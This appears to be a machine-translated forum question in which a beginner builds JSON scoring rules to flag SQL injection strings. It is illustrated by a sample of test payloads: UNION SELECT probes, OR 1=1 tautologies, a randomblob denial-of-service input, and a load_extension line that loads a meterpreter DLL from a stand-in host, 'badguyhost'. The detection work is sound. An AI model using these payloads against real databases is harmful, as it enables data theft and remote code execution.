系统要求我使用JSON编写防火墙配置,该配置不包含每10行的内容。
awk 'NR % 10 == 0' testing.txt
向我提供测试文件上的输出,结果为:
' UNION SELECT 1,2,user(),4,5; --
' UNION SELECT 1,2,user(),4,5; --
' OR 1=1 /*
foo' or 29=29 -- /*'*/
' UNION SELET 1,2,sqlite_version(),4,5; /*
" and 1=randomblob(100000000)
' or '1'='1'; --
' or '1'='1'; --
a' UNION SELECT 1,load_extension('\\badguyhost\naughtyshare\meterpreter.dll','DllMain');--
bob' OR '29'='29' --
" or 1337=1337; --
我是编码领域的超级新手,所以我想尝试一下堆栈,看看是否有人可以建议我的伪代码采用以下方式:
{
anything with a * -50 points,
anything with both () - 50 points,
anything with number = number -50 points,
assign points to strings with alpha characters
assign points to strings with the number 5
}
我的不良代码如下:
{
"*":-50,
"(" + ")":-50,
"\\d+=\\d+":-50,
"[a-zA-Z]":1,
"\\w{5}:5
}
我从数据集中知道,这些字符在真实数据集中使用,可以通过以下方式使用:@'!._&-= (这是一个“-”和一个“ =”)
有人能帮助..或为我提供一个好的资源以阅读以更多地了解这些棘手的情况吗?。